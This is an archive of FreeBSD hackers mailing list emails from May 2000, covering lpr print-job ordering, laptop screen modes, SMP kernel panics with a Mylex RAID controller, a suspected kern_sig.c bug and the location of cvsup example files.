while the requests are ordered by number of invoice. Each pipe is opened and closed: so the processes are not concurrent: one begins after the other has finished. So, is there a way to disable this strange behavior? Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 8:19: 9 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gwdu60.gwdg.de (gwdu60.gwdg.de [134.76.10.60]) by hub.freebsd.org (Postfix) with ESMTP id D73B937BB00 for ; Tue, 2 May 2000 08:18:55 -0700 (PDT) (envelope-from kheuer@gwdu60.gwdg.de) Received: from localhost (kheuer@localhost) by gwdu60.gwdg.de (8.9.2/8.9.2) with ESMTP id RAA03828; Tue, 2 May 2000 17:18:35 +0200 (CEST) (envelope-from kheuer@gwdu60.gwdg.de) Date: Tue, 2 May 2000 17:18:34 +0200 (CEST) From: Konrad Heuer To: Lorenzo Iania Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: lpr: order of print requests In-Reply-To: <027b01bfb446$0262c100$0500000a@sintesi.intr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 2 May 2000, Lorenzo Iania wrote: > Warren Losh wrote: >=20 > > LPR queues up the reuqests and prints them in order smallest to > > largest to reduce the average wait time for a job at the expense of > > having a larger standard deviation in the wait times for jobs. Maybe > > this is what you are running into. I don't know if there's a way to > > disable this behavior or not. At least that's what I recall lpd doing > > years ago when I ran a unix lab in school. I didn't go check the code > > to see if it still did that or not. > > > > Warner > > >=20 > I think you're right, because the process that generates the requests is > only one. It consecutively opens pipes to lpr and then closes them. In > effect it builds invoices from delivery documents and the printed numbers= of > invoices is effectively out of order, while the requests are ordered by > number of invoice. Each pipe is opened and closed: so the processes are n= ot > concurrent: one begins after the other has finished. > So, is there a way to disable this strange behavior? Hmm, I've never seen such a strange behaviour. Lpd should do FIFO. Could you give some more infos about your environment (os release, input filter program, printer type)? Regards Konrad Heuer Personal Bookmarks: Gesellschaft f=FCr wissenschaftliche Datenverarbeitung mbH G=D6ttingen http://www.freebsd.org Am Fa=DFberg, D-37077 G=D6ttingen http://www.daemonnews.o= rg Deutschland (Germany) kheuer@gwdu60.gwdg.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 8:38:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from spirit.jaded.net (spirit.jaded.net [216.94.113.12]) by hub.freebsd.org (Postfix) with ESMTP id B5F4637B560 for ; Tue, 2 May 2000 08:37:47 -0700 (PDT) (envelope-from dan@spirit.jaded.net) Received: (from dan@localhost) by spirit.jaded.net (8.9.3/8.9.3) id LAA00543 for hackers@freebsd.org; Tue, 2 May 2000 11:37:55 -0400 (EDT) Date: Tue, 2 May 2000 11:37:55 -0400 From: Dan Moschuk To: hackers@freebsd.org Subject: Toshiba 4260 screen problem Message-ID: <20000502113755.A418@spirit.jaded.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greetings, I've got myself a bright new shiny Toshiba 4260 laptop, with one small problem. I cannot seem to get the screen any bigger than a small window (similiar to Fn + F on my Vaio). Any ideas how I can get this full screen? -Dan -- Dan Moschuk (TFreak!dan@freebsd.org) "Don't get even -- get odd!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 8:47:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from elisa.utopianet.net (elisa.utopianet.net [212.210.231.2]) by hub.freebsd.org (Postfix) with ESMTP id 411CA37BE5B for ; Tue, 2 May 2000 08:46:52 -0700 (PDT) (envelope-from l.iania@sintesi.net) Received: from lorenzo (giorgia.sintesi.net [212.210.231.9]) by elisa.utopianet.net (8.9.1a/8.9.1) with SMTP id RAA17492 for ; Tue, 2 May 2000 17:46:37 +0200 (CEST) Message-ID: <047901bfb44d$f0173f00$0500000a@sintesi.intr> Reply-To: "Lorenzo Iania" From: "Lorenzo Iania" To: Subject: Re: lpr: order of print requests Date: Tue, 2 May 2000 17:49:01 +0200 Organization: S.IN.TE.S.I. Srl MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0476_01BFB45E.B33B59C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0476_01BFB45E.B33B59C0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Konrad Heuer wrote =20 > Hmm, I've never seen such a strange behaviour. Lpd should do FIFO. = Could > you give some more infos about your environment (os release, input = filter > program, printer type)? Yes, I think it's a very strange behaviour. In effect in the file /usr/src/usr.sbin/lpr/common_source/common.c there = is: ..... /* * Scan the current directory and make a list of daemon files sorted by * creation time. * Return the number of entries and a pointer to the list. */ int getq(pp, namelist) const struct printer *pp; struct queue *(*namelist[]); { ..... However I had the problem in more than one installation of the os from = 2.2.7 to 3.4. The printers are used in a very simple way, ... lp|local line printer:\ :sh:sf:mx#0:\ = :lp=3D/dev/lpt0:sd=3D/usr/spool/output/lpd:lf=3D/var/log/lpd-errs: .... but the order is wrong. The problem occur when the number of consecutive = requests grows, i. e. when I have to print requests from 1 to 100 (from = tha same process), the first 40 are in the right order, then are printed = those from 50 to 100 in the right order and at last those from 41 to 49. All I do is simply open a pipe by a call to=20 fp=3Dpopen("lpr -Plp","a"); fprintf(fp,XXXXX); .... . .. . fclose(fp); The contents are almost the same for each request, simply characters; I = don't use any input filter. The printer is always a character printer = like IBM, EPSON ... So I don't understand why this happens. Any suggestions?? ------=_NextPart_000_0476_01BFB45E.B33B59C0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Konrad Heuer wrote
          &nbs= p;            = ;       =20
> Hmm, I've never seen such a = strange behaviour.=20 Lpd should do FIFO. Could
> you give some more infos about your=20 environment (os release, input filter
> program, printer=20 type)?
Yes, I think it's a very strange=20 behaviour.
In effect in the file=20 /usr/src/usr.sbin/lpr/common_source/common.c there is:
 
.....
/*
 * Scan the current = directory and make a=20 list of daemon files sorted by
 * creation time.
 * = Return the=20 number of entries and a pointer to the = list.
 */
int
getq(pp,=20 namelist)
        const struct = printer=20 *pp;
        struct queue=20 *(*namelist[]);
{
.....
 
However I had the problem in more than = one=20 installation of the os from 2.2.7 to 3.4.
The printers are used in a very simple=20 way,
 
...
lp|local line=20 printer:\
       =20 :sh:sf:mx#0:\
       =20 :lp=3D/dev/lpt0:sd=3D/usr/spool/output/lpd:lf=3D/var/log/lpd-errs:
...= .
 
but the order is wrong. The problem = occur when the=20 number of consecutive requests grows, i. e. when I have to print = requests from 1=20 to 100 (from tha same process), the first 40 are in the right order, = then are=20 printed those from 50 to 100 in the right order and at last those from = 41 to=20 49.
All I do is simply open a pipe by a = call to=20
 
fp=3Dpopen("lpr = -Plp","a");
fprintf(fp,XXXXX);
....
.
..
.
fclose(fp);
 
The contents are almost the same for = each request,=20 simply characters; I don't use any input filter. The printer is = always a=20 character printer like IBM, EPSON ...
 
So I don't understand why this=20 happens.
 
Any suggestions??
 
 
 
 
 

 
------=_NextPart_000_0476_01BFB45E.B33B59C0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 9:39:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.targetnet.com (mail.targetnet.com [207.245.246.3]) by hub.freebsd.org (Postfix) with ESMTP id D541437B5B6; Tue, 2 May 2000 09:39:14 -0700 (PDT) (envelope-from james@targetnet.com) Received: from james by mail.targetnet.com with local (Exim 3.02 #1) id 12mfhW-000Hid-00; Tue, 02 May 2000 12:39:10 -0400 Date: Tue, 2 May 2000 12:39:10 -0400 From: James FitzGibbon To: freebsd-hackers@freebsd.org, freebsd-smp@freebsd.org Subject: Panics when using Mylex RAID with SMP under RELENG_4 Message-ID: <20000502123910.C29330@targetnet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre1i Organization: Targetnet.com Inc. Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am trying to run a Mylex Acceleraid 1100 in a Dell Poweredge 2450. When running rawio against the mylex partition, the system panics within 2 minutes, always with a trap #29. I have kernel dumps for four panics, but kgdb doesn't show any similarities between the panics (other than that they are all #29). This is using RELENG_4 cvsupped recently, and the APIC patch is in. I've tried using a kernel both with and without Matt Dillon's experimental SMP patch, but both cause problems. If I boot this machine with kernel.GENERIC (no SMP), then rawio completes successfully. If I run the test on a single SCSI drive not attached to the Mylex, it completes without error regardless of whether I am using kernel.GENERIC or my SMP-enabled kernel. I'm wondering if anyone can help debug this problem. I can make the box accessible on the net and give an account to anyone with sufficient knowledge to help; I can also send the kernel dumps to anyone who is interested. I've looked over the CVS repository to see if there have been changes to the driver in -CURRENT, and there do appear to be changes, but I'm not sure if they might fix this problem. If they might, I'll install the latest current snapshot and give it a shot, but if that avenue won't do any good I'd rather not bother. Any info along those lines is also appreciated. The traps almost always look like this in kgdb: (kgdb) where #0 boot (howto=256) at ../../kern/kern_shutdown.c:304 #1 0xc014b574 in poweroff_wait (junk=0xc0216039, howto=0) at ../../kern/kern_shutdown.c:554 #2 0xc01e587e in trap_fatal (frame=0xff806fbc, eva=0) at ../../i386/i386/trap.c:926 #3 0xc01e5242 in trap (frame={tf_fs = 24, tf_es = -1071448048, tf_ds = 16, tf_edi = -1, tf_esi = 0, tf_ebp = 0, tf_isp = -8359960, tf_ebx = 0, tf_edx = 160165, tf_ecx = 1, tf_eax = 0, tf_trapno = 29, tf_err = 0, tf_eip = -1071757093, tf_cs = 8, tf_eflags = 582, tf_esp = 0, tf_ss = -8359936}) at ../../i386/i386/trap.c:586 (kgdb) Any help appreciated. Those with sufficient skill and contract hopes are invited to contact me directly. TIA. -- j. James FitzGibbon james@targetnet.com Targetnet.com Inc. Voice/Fax +1 416 306-0466/0452 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 10: 8:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by hub.freebsd.org (Postfix) with ESMTP id ADE4637B550 for ; Tue, 2 May 2000 10:08:26 -0700 (PDT) (envelope-from Dimitri.Tombroff@sun.com) Received: from sunfra.France.Sun.COM ([129.157.188.1]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA28326 for ; Tue, 2 May 2000 10:08:23 -0700 (PDT) Received: from sunchorus.France.Sun.COM (sunchorus [129.157.173.1]) by sunfra.France.Sun.COM (8.8.8+Sun/8.8.8/ENSMAIL,v1.7) with ESMTP id TAA03839 for ; Tue, 2 May 2000 19:08:21 +0200 (MET DST) Received: from tumba.France.Sun.COM (tumba [129.157.173.42]) by sunchorus.France.Sun.COM (8.8.8+Sun/8.8.8) with ESMTP id TAA21543 for ; Tue, 2 May 2000 19:08:20 +0200 (MET DST) Received: from sun.com (localhost [127.0.0.1]) by tumba.France.Sun.COM (8.9.3+Sun/8.9.1) with ESMTP id TAA05760 for ; Tue, 2 May 2000 19:08:06 +0200 (MET DST) Message-ID: <390F0B76.4D4A9D62@sun.com> Date: Tue, 02 May 2000 19:08:06 +0200 From: Dimitri Tombroff Organization: Sun Microsystems X-Mailer: Mozilla 4.51 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@FreeBSD.ORG Subject: bug (?) in trapsignal References: <200005012111.OAA94013@bubba.whistle.com> <200005021531.LAA73669@khavrinen.lcs.mit.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all, I was having a look at the last kern_sig.c and the following seems wrong : /* * Send a signal caused by a trap to the current process. * If it will be caught immediately, deliver it with correct code. * Otherwise, post it normally. */ void trapsignal(p, sig, code) struct proc *p; register int sig; u_long code; { register struct sigacts *ps = p->p_sigacts; if ((p->p_flag & P_TRACED) == 0 && SIGISMEMBER(p->p_sigcatch, sig) && SIGISMEMBER(p->p_sigmask, sig)) { ~~~~~~~~~~~~~~~~~~~~~~ p->p_stats->p_ru.ru_nsignals++; ..... Seems to me one needs a : SIGISMEMBER(p->p_sigmask, sig) == 0 Dimitri To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 10:25: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from chopper.Poohsticks.ORG (chopper.poohsticks.org [63.227.60.73]) by hub.freebsd.org (Postfix) with SMTP id 32A7037B64D; Tue, 2 May 2000 10:24:59 -0700 (PDT) (envelope-from drew@chopper.Poohsticks.ORG) Received: from chopper.Poohsticks.ORG (localhost.poohsticks.org [127.0.0.1]) by chopper.Poohsticks.ORG (8.6.12/8.6.6) with ESMTP id LAA21159; Tue, 2 May 2000 11:24:48 -0600 Message-Id: <200005021724.LAA21159@chopper.Poohsticks.ORG> To: James FitzGibbon Cc: freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG Subject: Re: Panics when using Mylex RAID with SMP under RELENG_4 In-reply-to: Your message of "Tue, 02 May 2000 12:39:10 EDT." <20000502123910.C29330@targetnet.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <21156.957288288.1@chopper.Poohsticks.ORG> Date: Tue, 02 May 2000 11:24:48 -0600 From: Drew Eckhardt Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000502123910.C29330@targetnet.com>, james@targetnet.com writes: >I am trying to run a Mylex Acceleraid 1100 in a Dell Poweredge 2450. What is a Dell Poweredge 2450, in terms of chipset and processors? >When >running rawio against the mylex partition, the system panics within 2 >minutes, always with a trap #29. I have kernel dumps for four panics, but >kgdb doesn't show any similarities between the panics (other than that they >are all #29). To add another datapoint: I just swapped the 350MHz PII in my Super Micro P6DGS (your generic 440GX dual slot-1 board) for a pair of PIII600Es. Since then, I have been getting panics under both 4.0 and 5.0 current from trap 29 that seem correlated to IDE disk I/O load. The first crash dump I grabbed showed that the faulting address was idle_loop + 64, which is at the cli instruction. Trap 29 could come from processor fault 19 (SIMD), an APIC, or PIC. Since cli isn't a SIMD instruction, I suspect the APICs or PICs but have yet to instrument and test this hypothesis. > tf_eip = -1071757093, tf_cs = 8, tf_eflags = 582, tf_esp = 0, > tf_ss = -8359936}) at ../../i386/i386/trap.c:586 >(kgdb) What do you get when you feed kgdb frame 3 info line * (void *)frame->tf_eip ? -- Home Page For those who do, no explanation is necessary. For those who don't, no explanation is possible. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 10:34:43 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from usc.edu (usc.edu [128.125.253.136]) by hub.freebsd.org (Postfix) with ESMTP id 447F837B9BB for ; Tue, 2 May 2000 10:34:40 -0700 (PDT) (envelope-from walker@usc.edu) Received: from skat.usc.edu (walker@skat.usc.edu [128.125.253.131]) by usc.edu (8.9.3.1/8.9.3/usc) with ESMTP id KAA09692; Tue, 2 May 2000 10:34:34 -0700 (PDT) Received: from localhost (walker@localhost) by skat.usc.edu (8.10.1/8.10.1/usc) with ESMTP id e42HYWY22981; Tue, 2 May 2000 10:34:32 -0700 (PDT) Date: Tue, 2 May 2000 10:34:31 -0700 (PDT) From: Mike Walker To: freebsd-hackers@freebsd.org, Lorenzo Iania Subject: Re: lpr: order of print requests In-Reply-To: <027b01bfb446$0262c100$0500000a@sintesi.intr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Submitting the files with a single command should prevent reordering. lpc's topq command can be used to move a job to the top of the queue. Printing small jobs first is a desirable feature. Too often I've found a dozen people waiting while large jobs tied up the printers and that user wasn't present. I haven't looked at the code, but was told it took both size and submission time into consideration so that even large jobs would eventually print. If sending to a private printer, who does the print order matter? Are you trying to use forms? > I think you're right, because the process that generates the requests > is only one. It consecutively opens pipes to lpr and then closes > them. In effect it builds invoices from delivery documents and the > printed numbers of invoices is effectively out of order, while the > requests are ordered by number of invoice. Each pipe is opened and > closed: so the processes are not concurrent: one begins after the > other has finished. So, is there a way to disable this strange > behavior? > > Thanks. >> LPR queues up the reuqests and prints them in order smallest to >> largest to reduce the average wait time for a job at the expense of >> having a larger standard deviation in the wait times for jobs. Maybe >> this is what you are running into. I don't know if there's a way to >> disable this behavior or not. At least that's what I recall lpd doing >> years ago when I ran a unix lab in school. I didn't go check the code >> to see if it still did that or not. >> >> Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 10:53:43 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from elisa.utopianet.net (elisa.utopianet.net [212.210.231.2]) by hub.freebsd.org (Postfix) with ESMTP id 0552D37BB8E for ; Tue, 2 May 2000 10:53:32 -0700 (PDT) (envelope-from l.iania@sintesi.net) Received: from lorenzo (giorgia.sintesi.net [212.210.231.9]) by elisa.utopianet.net (8.9.1a/8.9.1) with SMTP id TAA18402 for ; Tue, 2 May 2000 19:53:17 +0200 (CEST) Message-ID: <001401bfb45f$a16978c0$0500000a@sintesi.intr> Reply-To: "Lorenzo Iania" From: "Lorenzo Iania" To: Subject: Re: lpr: order of print requests Date: Tue, 2 May 2000 19:55:40 +0200 Organization: S.IN.TE.S.I. Srl MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0011_01BFB470.64A5FD80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0011_01BFB470.64A5FD80 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable I don't know if I make any strange mistake, but I have done the = following simple thing. File p.c : #include FILE *fp ; main() { register int i ; for (i=3D0;i<1000;i++) { fp=3Dpopen("lpr -Plp","w"); fprintf(fp,"Richiesta N. %d\n",i); pclose(fp); } } then cc -o p p.c ./p the result of lpq after this is: waiting for lp to become ready (offline?) Rank Owner Job Files Total Size 1st root 33 (standard input) 15 bytes 2nd root 30 (standard input) 15 bytes 3rd root 35 (standard input) 15 bytes 4th root 36 (standard input) 15 bytes 5th root 29 (standard input) 15 bytes 6th root 31 (standard input) 15 bytes 7th root 37 (standard input) 15 bytes 8th root 38 (standard input) 15 bytes 9th root 39 (standard input) 16 bytes 10th root 40 (standard input) 16 bytes 11th root 41 (standard input) 16 bytes 12th root 42 (standard input) 16 bytes 13th root 32 (standard input) 15 bytes 14th root 34 (standard input) 15 bytes 15th root 56 (standard input) 16 bytes 16th root 57 (standard input) 16 bytes 17th root 43 (standard input) 16 bytes ....etc As you can see, the first on the queue is Job 33, while the second is 30 = and so on .... The sizes are irrilevant because they are the same. For this reason, and for similar problems, it is desiderable that the = order of the requests is the same. I think that must be a chance to = respect the order of the requests to avoid situations like this. Thanks. ------=_NextPart_000_0011_01BFB470.64A5FD80 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
I don't know if I make any strange = mistake, but I=20 have done the following simple thing.
 
 
File p.c :
 
#include <stdio.h>
 
FILE   =20 *fp           &nbs= p;=20 ;
 
main()
{
register = int   =20 i       ;
 
for=20 (i=3D0;i<1000;i++)
       =20 {
        fp=3Dpopen("lpr=20 -Plp","w");
        = fprintf(fp,"Richiesta=20 N. %d\n",i);
       =20 pclose(fp);
       =20 }
}
then
 
cc -o p p.c
 
./p
 
the result of lpq after this = is:
 
waiting for lp to become ready=20 (offline?)
Rank   Owner      = Job =20 Files           &n= bsp;           &nb= sp;        =20 Total Size
1st    = root      =20 33   (standard=20 input)           &= nbsp;         =20 15 bytes
2nd    = root      =20 30   (standard=20 input)           &= nbsp;         =20 15 bytes
3rd    = root      =20 35   (standard=20 input)           &= nbsp;         =20 15 bytes
4th    = root      =20 36   (standard=20 input)           &= nbsp;         =20 15 bytes
5th    = root      =20 29   (standard=20 input)           &= nbsp;         =20 15 bytes
6th    = root      =20 31   (standard=20 input)           &= nbsp;         =20 15 bytes
7th    = root      =20 37   (standard=20 input)           &= nbsp;         =20 15 bytes
8th    = root      =20 38   (standard=20 input)           &= nbsp;         =20 15 bytes
9th    = root      =20 39   (standard=20 input)           &= nbsp;         =20 16 bytes
10th   root      =20 40   (standard=20 input)           &= nbsp;         =20 16 bytes
11th   root      =20 41   (standard=20 input)           &= nbsp;         =20 16 bytes
12th   root      =20 42   (standard=20 input)           &= nbsp;         =20 16 bytes
13th   root      =20 32   (standard=20 input)           &= nbsp;         =20 15 bytes
14th   root      =20 34   (standard=20 input)           &= nbsp;         =20 15 bytes
15th   root      =20 56   (standard=20 input)           &= nbsp;         =20 16 bytes
16th   root      =20 57   (standard=20 input)           &= nbsp;         =20 16 bytes
17th   root      =20 43   (standard=20 input)           &= nbsp;         =20 16 bytes
....etc
 
As you can see, the first on the queue = is Job 33,=20 while the second is 30 and so on ....
The sizes are irrilevant because they = are the=20 same.
For this reason, and for similar = problems, it is=20 desiderable that the order of the requests is the same. I think that = must be a=20 chance to respect the order of the requests to avoid situations like=20 this.
 
Thanks.
 
 
------=_NextPart_000_0011_01BFB470.64A5FD80-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 10:58: 9 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.targetnet.com (mail.targetnet.com [207.245.246.3]) by hub.freebsd.org (Postfix) with ESMTP id 645E137B7D1; Tue, 2 May 2000 10:57:57 -0700 (PDT) (envelope-from james@targetnet.com) Received: from james by mail.targetnet.com with local (Exim 3.02 #1) id 12mgvN-000Dlw-00; Tue, 02 May 2000 13:57:33 -0400 Date: Tue, 2 May 2000 13:57:33 -0400 From: James FitzGibbon To: Drew Eckhardt Cc: freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG Subject: Re: Panics when using Mylex RAID with SMP under RELENG_4 Message-ID: <20000502135733.F29330@targetnet.com> References: <20000502123910.C29330@targetnet.com> <200005021724.LAA21159@chopper.Poohsticks.ORG> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre1i In-Reply-To: <200005021724.LAA21159@chopper.Poohsticks.ORG> Organization: Targetnet.com Inc. Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Drew Eckhardt (drew@Poohsticks.Org) [000502 13:24]: > In message <20000502123910.C29330@targetnet.com>, james@targetnet.com writes: > >I am trying to run a Mylex Acceleraid 1100 in a Dell Poweredge 2450. > > What is a Dell Poweredge 2450, in terms of chipset and processors? Dual 600 PIII, 256k cache. 512mb PC133 RAM. Serverworks RCC LE chipset. Adaptec 7899 Ultra160 SCSI controller. > To add another datapoint: > > I just swapped the 350MHz PII in my Super Micro P6DGS (your generic > 440GX dual slot-1 board) for a pair of PIII600Es. Since then, I have been > getting panics under both 4.0 and 5.0 current from trap 29 that seem > correlated to IDE disk I/O load. > > The first crash dump I grabbed showed that the faulting address was > idle_loop + 64, which is at the cli instruction. > > Trap 29 could come from processor fault 19 (SIMD), an APIC, or PIC. Since > cli isn't a SIMD instruction, I suspect the APICs or PICs but have yet to > instrument and test this hypothesis. > > > tf_eip = -1071757093, tf_cs = 8, tf_eflags = 582, tf_esp = 0, > > tf_ss = -8359936}) at ../../i386/i386/trap.c:586 > >(kgdb) > > What do you get when you feed kgdb > > frame 3 > info line * (void *)frame->tf_eip (kgdb) info line * (void *)frame->tf_eip No line number information available for address 0xc01e48db (kgdb) Well, at least that matches it to your problem. -- j. James FitzGibbon james@targetnet.com Targetnet.com Inc. Voice/Fax +1 416 306-0466/0452 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 11:59:42 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.nyct.net (bsd4.nyct.net [204.141.86.6]) by hub.freebsd.org (Postfix) with ESMTP id B4D2C37B834; Tue, 2 May 2000 11:59:34 -0700 (PDT) (envelope-from efutch@nyct.net) Received: from bsd1.nyct.net (efutch@bsd1.nyct.net [204.141.86.3]) by mail.nyct.net (8.9.3/8.8.7) with ESMTP id OAA90280; Tue, 2 May 2000 14:59:35 -0400 (EDT) (envelope-from efutch@nyct.net) Date: Tue, 2 May 2000 14:59:37 -0400 (EDT) From: "Eric D. Futch" To: Dan Moschuk Cc: hackers@FreeBSD.ORG Subject: Re: Toshiba 4260 screen problem In-Reply-To: <20000502113755.A418@spirit.jaded.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I recall someone on the freebsd-mobile mailing list having a similar problem. What I told them to try was using options VESA in their kernel config or use the vesa.ko kernel module. I looked at it a little more closely and it appears that you might also need the SC_PIXEL_MODE option in your kernel config to get raster text mode to work. After you have that in your kernel then you can use vidcontrol to change the video mode to VESA_800x600 for 800x600 raster text mode. They seemed to be happy with the results. Try it out and let me know wether or not it was helpful. -- Eric Futch New York Connect.Net, Ltd. efutch@nyct.net Technical Support Staff http://www.nyct.net (212) 293-2620 "Bringing New York The Internet Access It Deserves" On Tue, 2 May 2000, Dan Moschuk wrote: > >Greetings, > >I've got myself a bright new shiny Toshiba 4260 laptop, with one small >problem. I cannot seem to get the screen any bigger than a small window >(similiar to Fn + F on my Vaio). > >Any ideas how I can get this full screen? > >-Dan >-- >Dan Moschuk (TFreak!dan@freebsd.org) >"Don't get even -- get odd!" > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 13:53:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id 97CD137BDDB; Tue, 2 May 2000 13:52:55 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: (from nik@localhost) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) id HAA97950; Tue, 2 May 2000 07:04:23 +0100 (BST) (envelope-from nik) Date: Tue, 2 May 2000 07:04:23 +0100 From: Nik Clayton To: Peter Wemm Cc: Nik Clayton , hackers@FreeBSD.ORG Subject: Re: /usr/share/examples/cvsup -> /usr/local/share/examples/cvsup Message-ID: <20000502070422.A96191@catkin.nothing-going-on.org> References: <20000501142517.3C4641CD7@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20000501142517.3C4641CD7@overcee.netplex.com.au>; from peter@netplex.com.au on Mon, May 01, 2000 at 07:25:17AM -0700 Organization: FreeBSD Project Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, May 01, 2000 at 07:25:17AM -0700, Peter Wemm wrote: > Nik Clayton wrote: > > Would anyone object to pulling /usr/share/examples/cvsup out of the base > > system, and into /usr/local/share/examples/cvsup, to be installed by the > > CVSup port? There's no technical reason for the change, but it would be > > more consistent with our other ports. > > Which cvsup port would get it? There are two... Both. Or, to make it easier to keep things consistent, have an additional CVSup port to contain common items and use the MASTERDIR variable to use them. > And what about the folks who ftp the binary and never install the ports > collection? If they FTP the binary package then they'll get it as part of the install. If they FTP a binary and copy it by hand in to /usr/local/bin/cvsup (or whatever) then they get to read section 18.3.3 (currently) of the Handbook. > They use the /usr/share/examples stuff as a base. I certainly > do not install the ports dist at sysinstall time and only do so eventually > after cvsup'ing the ncvs tree and checking source and ports out of there. How do you install CVSup? pkg_add? > Also, the share/examples stuff is supposed to be preset for getting the > active branch that the release is from, when using checkout mode. To > duplicate that in the port you'd need multiple versions of the files and be > sensitive on the OS version. True -- but if you're going to be touching something as sensitive as your local CVS tree I would have thought that everyone's going to take the time to look over the config file before they actually use it. Multiple supfiles such as supfile.RELENG_3 or supfile.RELENG_4 would be a possibilty. While I'm talking about it, make.conf's SUPFILE default of looking in /usr/share/examples/cvsup doesn't give me a warm fuzzy feeling either. IMHO that would make more sense as: [...] # # CVSup update flags. Copy an example supfile from # /usr/local/share/examples/cvsup to /usr/local/etc/supfile (or similar), # edit to taste, and uncomment/edit a SUPFILE definition below. Then # "make update" in /usr/src. # [...] N -- Internet connection, $19.95 a month. Computer, $799.95. Modem, $149.95. Telephone line, $24.95 a month. Software, free. USENET transmission, hundreds if not thousands 